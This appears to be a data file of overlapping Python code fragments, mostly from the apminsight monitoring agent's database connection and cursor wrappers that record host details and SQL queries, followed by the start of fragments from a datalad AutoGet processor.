"__getattr__(self, key): if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_conn, key) def",
"elif constants.default_host in method_info: host_info[constants.host] = conn_kwargs[constants.host] if constants.port in conn_kwargs: host_info[constants.port] =",
"conn = original(*args, **kwargs) if conn is not None: comp = method_info.get(constants.component_str, '')",
"else: return setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr): actual =",
"['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) @staticmethod def",
"attr_info) setattr(self, attr, wrapper) def _apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold =",
"self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) @staticmethod def get_host_info(method_info, conn_kwargs): host_info",
"__getattr__(self, key): if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_cursor, key) def",
"wrapper = default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr, wrapper) def _apm_extract_query(self, tracker, args=(), kwargs={},",
"host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn, comp, host_info) return new_conn return conn",
"threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not True: return if isinstance(args, (list, tuple))",
"if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_conn, key) def __setattr__(self, key,",
"{} if constants.host in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host in method_info: host_info[constants.host]",
"default_wrapper class CursorProxy(): def __init__(self, cursor, conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn = conn",
"not None: comp = method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn,",
"CursorProxy(real_cursor, self) return cur def __getattr__(self, key): if key in self.__dict__: return getattr(self,",
"getattr(self._apm_wrap_cursor, key) def __setattr__(self, key, value): if( key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']):",
"= cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key): if key in",
"conn self._apm_comp_name = comp self._apm_host_info = host_info def cursor(self, *args, **kwargs): real_cursor =",
"setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor, attr)",
"host_info def cursor(self, *args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor, self)",
"host_info[constants.host] = conn_kwargs[constants.host] if constants.port in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port in",
"method_info: host_info[constants.host] = conn_kwargs[constants.host] if constants.port in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port",
"key) def __setattr__(self, key, value): if( key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] =",
"= conn_kwargs[constants.host] elif constants.default_host in method_info: host_info[constants.host] = conn_kwargs[constants.host] if constants.port in conn_kwargs:",
"'Cursor', attr_info) setattr(self, attr, wrapper) def _apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold",
"actual = getattr(self._apm_wrap_cursor, attr) attr_info = { constants.method_str : attr, constants.component_str : self._apm_wrap_conn._apm_comp_name,",
"value): if( key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] = value else: return",
"def _apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled() is",
"threshold.is_sql_capture_enabled() is not True: return if isinstance(args, (list, tuple)) and len(args)>0: if is_non_empty_string(args[0]):",
"key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_cursor, key) def __setattr__(self, key, value):",
"constants.method_str : attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker : True }",
"self._apm_host_info = host_info def cursor(self, *args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur =",
"= value else: return setattr(self._apm_wrap_conn, key, value) @staticmethod def get_host_info(method_info, conn_kwargs): host_info =",
"def conn_wrapper(*args, **kwargs): conn = original(*args, **kwargs) if conn is not None: comp",
"= host_info def cursor(self, *args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor,",
"getattr(self._apm_wrap_cursor, attr) attr_info = { constants.method_str : attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info :",
"'executemany']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self, attr): if",
"if( key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key,",
"return getattr(self, key) return getattr(self._apm_wrap_conn, key) def __setattr__(self, key, value): if( key in",
"return getattr(self._apm_wrap_conn, key) def __setattr__(self, key, value): if( key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']):",
"True: return if isinstance(args, (list, tuple)) and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]})",
"if constants.host in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host in method_info: host_info[constants.host] =",
"getattr(self, key) return getattr(self._apm_wrap_cursor, key) def __setattr__(self, key, value): if( key in ['_apm_wrap_cursor',",
"getattr(self, key) return getattr(self._apm_wrap_conn, key) def __setattr__(self, key, value): if( key in ['_apm_wrap_conn',",
"_apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not",
"kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not True: return if",
"cursor(self, *args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor, self) return cur",
"instrument_conn(original, module, method_info): def conn_wrapper(*args, **kwargs): conn = original(*args, **kwargs) if conn is",
"else: return setattr(self._apm_wrap_conn, key, value) @staticmethod def get_host_info(method_info, conn_kwargs): host_info = {} if",
"cur = CursorProxy(real_cursor, self) return cur def __getattr__(self, key): if key in self.__dict__:",
"__setattr__(self, key, value): if( key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value else:",
"cursor, conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key):",
"conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key): if key in self.__dict__: return getattr(self, key)",
"from apminsight import constants from apminsight.util import is_non_empty_string from apminsight.agentfactory import get_agent from",
"__init__(self, cursor, conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self,",
"self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key): if key in self.__dict__: return",
"attr) attr_info = { constants.method_str : attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query,",
"def cursor(self, *args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor, self) return",
"cur def __getattr__(self, key): if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_conn,",
"'_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) @staticmethod def get_host_info(method_info,",
"if conn is not None: comp = method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info, kwargs)",
"constants.is_db_tracker : True } wrapper = default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr, wrapper) def",
"if hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor, attr) attr_info = { constants.method_str : attr,",
"comp self._apm_host_info = host_info def cursor(self, *args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur",
"= method_info[constants.default_port] return host_info @staticmethod def instrument_conn(original, module, method_info): def conn_wrapper(*args, **kwargs): conn",
"conn_kwargs): host_info = {} if constants.host in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host",
"in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_cursor, key) def __setattr__(self, key, value): if(",
"elif constants.default_port in method_info: host_info[constants.port] = method_info[constants.default_port] return host_info @staticmethod def instrument_conn(original, module,",
"return getattr(self, key) return getattr(self._apm_wrap_cursor, key) def __setattr__(self, key, value): if( key in",
"args[0]}) class ConnectionProxy(): def __init__(self, conn, comp, host_info): self._apm_wrap_conn = conn self._apm_comp_name =",
"from .wrapper import default_wrapper class CursorProxy(): def __init__(self, cursor, conn): self._apm_wrap_cursor = cursor",
"*args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor, self) return cur def",
"hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor, attr) attr_info = { constants.method_str : attr, constants.component_str",
"def __setattr__(self, key, value): if( key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value",
": attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker : True } wrapper",
"get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not True: return if isinstance(args, (list, tuple)) and len(args)>0:",
": self._apm_extract_query, constants.is_db_tracker : True } wrapper = default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr,",
"= str(conn_kwargs[constants.port]) elif constants.default_port in method_info: host_info[constants.port] = method_info[constants.default_port] return host_info @staticmethod def",
"key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key,",
"return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not True: return if isinstance(args,",
"is not True: return if isinstance(args, (list, tuple)) and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query'",
"def instrument_conn(original, module, method_info): def conn_wrapper(*args, **kwargs): conn = original(*args, **kwargs) if conn",
"return setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor,",
"if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_cursor, key) def __setattr__(self, key,",
"host_info[constants.port] = method_info[constants.default_port] return host_info @staticmethod def instrument_conn(original, module, method_info): def conn_wrapper(*args, **kwargs):",
"and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class ConnectionProxy(): def __init__(self, conn, comp,",
"self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_conn, key) def __setattr__(self, key, value): if( key",
"method_info[constants.default_port] return host_info @staticmethod def instrument_conn(original, module, method_info): def conn_wrapper(*args, **kwargs): conn =",
"host_info @staticmethod def instrument_conn(original, module, method_info): def conn_wrapper(*args, **kwargs): conn = original(*args, **kwargs)",
"constants from apminsight.util import is_non_empty_string from apminsight.agentfactory import get_agent from .wrapper import default_wrapper",
": self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker : True } wrapper = default_wrapper(actual, 'Cursor',",
"(list, tuple)) and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class ConnectionProxy(): def __init__(self,",
"self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key): if key in self.__dict__: return getattr(self, key) return",
"value) def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor, attr) attr_info =",
"class ConnectionProxy(): def __init__(self, conn, comp, host_info): self._apm_wrap_conn = conn self._apm_comp_name = comp",
"def __getattr__(self, key): if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_conn, key)",
"original(*args, **kwargs) if conn is not None: comp = method_info.get(constants.component_str, '') host_info =",
"key, value): if( key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value else: return",
"is not None: comp = method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn =",
"self._apm_extract_query, constants.is_db_tracker : True } wrapper = default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr, wrapper)",
"__setattr__(self, key, value): if( key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] = value",
"get_agent from .wrapper import default_wrapper class CursorProxy(): def __init__(self, cursor, conn): self._apm_wrap_cursor =",
"tracker.set_info({'query' : args[0]}) class ConnectionProxy(): def __init__(self, conn, comp, host_info): self._apm_wrap_conn = conn",
"not True: return if isinstance(args, (list, tuple)) and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' :",
"import get_agent from .wrapper import default_wrapper class CursorProxy(): def __init__(self, cursor, conn): self._apm_wrap_cursor",
"{ constants.method_str : attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker : True",
"**kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor, self) return cur def __getattr__(self,",
"= default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr, wrapper) def _apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None):",
"default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr, wrapper) def _apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info)",
"import constants from apminsight.util import is_non_empty_string from apminsight.agentfactory import get_agent from .wrapper import",
"key) def __setattr__(self, key, value): if( key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key]",
"method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn, comp, host_info) return new_conn",
"**kwargs): conn = original(*args, **kwargs) if conn is not None: comp = method_info.get(constants.component_str,",
"return cur def __getattr__(self, key): if key in self.__dict__: return getattr(self, key) return",
"in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host in method_info: host_info[constants.host] = conn_kwargs[constants.host] if",
"constants.extract_info : self._apm_extract_query, constants.is_db_tracker : True } wrapper = default_wrapper(actual, 'Cursor', attr_info) setattr(self,",
"in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_conn, key) def __setattr__(self, key, value): if(",
"key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_conn, key) def __setattr__(self, key, value):",
"tuple)) and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class ConnectionProxy(): def __init__(self, conn,",
"if constants.port in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port in method_info: host_info[constants.port] =",
"comp = method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn, comp, host_info)",
"module, method_info): def conn_wrapper(*args, **kwargs): conn = original(*args, **kwargs) if conn is not",
"import is_non_empty_string from apminsight.agentfactory import get_agent from .wrapper import default_wrapper class CursorProxy(): def",
"from apminsight.agentfactory import get_agent from .wrapper import default_wrapper class CursorProxy(): def __init__(self, cursor,",
"'execute', 'executemany']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self, attr):",
"return getattr(self._apm_wrap_cursor, key) def __setattr__(self, key, value): if( key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute',",
"= comp self._apm_host_info = host_info def cursor(self, *args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs)",
"constants.default_host in method_info: host_info[constants.host] = conn_kwargs[constants.host] if constants.port in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port])",
"comp, host_info): self._apm_wrap_conn = conn self._apm_comp_name = comp self._apm_host_info = host_info def cursor(self,",
"return if isinstance(args, (list, tuple)) and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class",
"in method_info: host_info[constants.host] = conn_kwargs[constants.host] if constants.port in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif",
"attr): if hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor, attr) attr_info = { constants.method_str :",
"tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not True:",
"get_host_info(method_info, conn_kwargs): host_info = {} if constants.host in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif",
"if( key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn,",
"key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value)",
"in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) @staticmethod",
"cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key): if key in self.__dict__:",
"import default_wrapper class CursorProxy(): def __init__(self, cursor, conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn =",
"= value else: return setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr):",
"self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor,",
"self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_cursor, key) def __setattr__(self, key, value): if( key",
"self._apm_wrap_cursor = cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key): if key",
"key): if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_cursor, key) def __setattr__(self,",
"key) return getattr(self._apm_wrap_cursor, key) def __setattr__(self, key, value): if( key in ['_apm_wrap_cursor', '_apm_wrap_conn',",
"'_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self,",
"self) return cur def __getattr__(self, key): if key in self.__dict__: return getattr(self, key)",
"if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class ConnectionProxy(): def __init__(self, conn, comp, host_info): self._apm_wrap_conn",
"apminsight.util import is_non_empty_string from apminsight.agentfactory import get_agent from .wrapper import default_wrapper class CursorProxy():",
"self._apm_wrap_conn = conn self._apm_comp_name = comp self._apm_host_info = host_info def cursor(self, *args, **kwargs):",
"if isinstance(args, (list, tuple)) and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class ConnectionProxy():",
"getattr(self._apm_wrap_conn, key) def __setattr__(self, key, value): if( key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key]",
"'') host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn, comp, host_info) return new_conn return",
"self._apm_check_and_wrap('executemany') def __getattr__(self, key): if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_cursor,",
"conn_wrapper(*args, **kwargs): conn = original(*args, **kwargs) if conn is not None: comp =",
"attr_info = { constants.method_str : attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker",
"ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn, comp, host_info) return new_conn return conn return conn_wrapper",
"args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not True: return",
"@staticmethod def instrument_conn(original, module, method_info): def conn_wrapper(*args, **kwargs): conn = original(*args, **kwargs) if",
"apminsight import constants from apminsight.util import is_non_empty_string from apminsight.agentfactory import get_agent from .wrapper",
"def __setattr__(self, key, value): if( key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] =",
"def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor, attr) attr_info = {",
"constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker : True } wrapper = default_wrapper(actual,",
"conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def __getattr__(self, key): if",
"conn_kwargs[constants.host] if constants.port in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port in method_info: host_info[constants.port]",
"host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port in method_info: host_info[constants.port] = method_info[constants.default_port] return host_info @staticmethod",
"wrapper) def _apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled()",
"real_cursor = self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor, self) return cur def __getattr__(self, key):",
"key): if key in self.__dict__: return getattr(self, key) return getattr(self._apm_wrap_conn, key) def __setattr__(self,",
"= {} if constants.host in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host in method_info:",
": args[0]}) class ConnectionProxy(): def __init__(self, conn, comp, host_info): self._apm_wrap_conn = conn self._apm_comp_name",
"'_apm_host_info']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) @staticmethod def get_host_info(method_info, conn_kwargs):",
"class CursorProxy(): def __init__(self, cursor, conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute')",
"def get_host_info(method_info, conn_kwargs): host_info = {} if constants.host in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host]",
"value) @staticmethod def get_host_info(method_info, conn_kwargs): host_info = {} if constants.host in conn_kwargs: host_info[constants.host]",
"self._apm_wrap_conn.cursor(*args, **kwargs) cur = CursorProxy(real_cursor, self) return cur def __getattr__(self, key): if key",
"value): if( key in ['_apm_wrap_conn', '_apm_comp_name', '_apm_host_info']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn,",
"setattr(self._apm_wrap_conn, key, value) @staticmethod def get_host_info(method_info, conn_kwargs): host_info = {} if constants.host in",
"str(conn_kwargs[constants.port]) elif constants.default_port in method_info: host_info[constants.port] = method_info[constants.default_port] return host_info @staticmethod def instrument_conn(original,",
"= original(*args, **kwargs) if conn is not None: comp = method_info.get(constants.component_str, '') host_info",
"attr, wrapper) def _apm_extract_query(self, tracker, args=(), kwargs={}, return_value=None): tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if",
"self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker : True } wrapper = default_wrapper(actual, 'Cursor', attr_info)",
"host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host in method_info: host_info[constants.host] = conn_kwargs[constants.host] if constants.port in",
"__init__(self, conn, comp, host_info): self._apm_wrap_conn = conn self._apm_comp_name = comp self._apm_host_info = host_info",
"= conn self._apm_comp_name = comp self._apm_host_info = host_info def cursor(self, *args, **kwargs): real_cursor",
"value else: return setattr(self._apm_wrap_conn, key, value) @staticmethod def get_host_info(method_info, conn_kwargs): host_info = {}",
"host_info): self._apm_wrap_conn = conn self._apm_comp_name = comp self._apm_host_info = host_info def cursor(self, *args,",
"constants.port in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port in method_info: host_info[constants.port] = method_info[constants.default_port]",
"True } wrapper = default_wrapper(actual, 'Cursor', attr_info) setattr(self, attr, wrapper) def _apm_extract_query(self, tracker,",
"= { constants.method_str : attr, constants.component_str : self._apm_wrap_conn._apm_comp_name, constants.extract_info : self._apm_extract_query, constants.is_db_tracker :",
"conn is not None: comp = method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn",
"**kwargs) if conn is not None: comp = method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info,",
"key, value): if( key in ['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] = value else:",
"method_info: host_info[constants.port] = method_info[constants.default_port] return host_info @staticmethod def instrument_conn(original, module, method_info): def conn_wrapper(*args,",
"constants.host in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host in method_info: host_info[constants.host] = conn_kwargs[constants.host]",
".wrapper import default_wrapper class CursorProxy(): def __init__(self, cursor, conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn",
"is_non_empty_string from apminsight.agentfactory import get_agent from .wrapper import default_wrapper class CursorProxy(): def __init__(self,",
"CursorProxy(): def __init__(self, cursor, conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany')",
"ConnectionProxy(): def __init__(self, conn, comp, host_info): self._apm_wrap_conn = conn self._apm_comp_name = comp self._apm_host_info",
"return host_info @staticmethod def instrument_conn(original, module, method_info): def conn_wrapper(*args, **kwargs): conn = original(*args,",
"isinstance(args, (list, tuple)) and len(args)>0: if is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class ConnectionProxy(): def",
"key, value) @staticmethod def get_host_info(method_info, conn_kwargs): host_info = {} if constants.host in conn_kwargs:",
"def __init__(self, cursor, conn): self._apm_wrap_cursor = cursor self._apm_wrap_conn = conn self._apm_check_and_wrap('execute') self._apm_check_and_wrap('executemany') def",
"['_apm_wrap_cursor', '_apm_wrap_conn', 'execute', 'executemany']): self.__dict__[key] = value else: return setattr(self._apm_wrap_conn, key, value) def",
"host_info = {} if constants.host in conn_kwargs: host_info[constants.host] = conn_kwargs[constants.host] elif constants.default_host in",
"constants.default_port in method_info: host_info[constants.port] = method_info[constants.default_port] return host_info @staticmethod def instrument_conn(original, module, method_info):",
"is_non_empty_string(args[0]): tracker.set_info({'query' : args[0]}) class ConnectionProxy(): def __init__(self, conn, comp, host_info): self._apm_wrap_conn =",
"self._apm_comp_name = comp self._apm_host_info = host_info def cursor(self, *args, **kwargs): real_cursor = self._apm_wrap_conn.cursor(*args,",
"key, value) def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr): actual = getattr(self._apm_wrap_cursor, attr) attr_info",
"= get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not True: return if isinstance(args, (list, tuple)) and",
"value else: return setattr(self._apm_wrap_conn, key, value) def _apm_check_and_wrap(self, attr): if hasattr(self._apm_wrap_cursor, attr): actual",
"tracker.set_info(self._apm_wrap_conn._apm_host_info) threshold = get_agent().get_threshold() if threshold.is_sql_capture_enabled() is not True: return if isinstance(args, (list,",
"in conn_kwargs: host_info[constants.port] = str(conn_kwargs[constants.port]) elif constants.default_port in method_info: host_info[constants.port] = method_info[constants.default_port] return",
"= method_info.get(constants.component_str, '') host_info = ConnectionProxy.get_host_info(method_info, kwargs) new_conn = ConnectionProxy(conn, comp, host_info) return",
"attr): actual = getattr(self._apm_wrap_cursor, attr) attr_info = { constants.method_str : attr, constants.component_str :",
"from apminsight.util import is_non_empty_string from apminsight.agentfactory import get_agent from .wrapper import default_wrapper class",
"if threshold.is_sql_capture_enabled() is not True: return if isinstance(args, (list, tuple)) and len(args)>0: if"
] |
[
"ReactiveQPController from casclik.controllers.reactive_nlp import ReactiveNLPController from casclik.controllers.pseudo_inverse import PseudoInverseController from casclik.controllers.model_predictive import ModelPredictiveController",
"import ReactiveQPController from casclik.controllers.reactive_nlp import ReactiveNLPController from casclik.controllers.pseudo_inverse import PseudoInverseController from casclik.controllers.model_predictive import",
"from casclik.controllers.reactive_qp import ReactiveQPController from casclik.controllers.reactive_nlp import ReactiveNLPController from casclik.controllers.pseudo_inverse import PseudoInverseController from",
"casclik.controllers.reactive_qp import ReactiveQPController from casclik.controllers.reactive_nlp import ReactiveNLPController from casclik.controllers.pseudo_inverse import PseudoInverseController from casclik.controllers.model_predictive"
] |
[
"import ( PipelineResult, ResultState, PipelineElement, ) from ..utils import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\")",
"locally available. It sets a flag in the element that will allow the",
"annexed and not locally available. It sets a flag in the element that",
"that is annexed and not locally available. It sets a flag in the",
"the element that will allow the AutoDrop-processor to automatically drop the file again.",
"It sets a flag in the element that will allow the AutoDrop-processor to",
"from ..utils import check_dataset logger = logging.getLogger(\"datalad.metadata.processor.autoget\") class AutoGet(Processor): \"\"\" This processor \"gets\"",
"= traverse_result.path if path.is_symlink(): if path.exists() is False: fs_dataset_path = ( traverse_result.fs_base_path /",
"\"\"\" This processor \"gets\" a file that is annexed and not locally available.",
"and not locally available. It sets a flag in the element that will",
"pipeline_element: PipelineElement) -> PipelineElement: for traverse_result in pipeline_element.get_result(\"dataset-traversal-record\"): if traverse_result.type == \"File\": path",
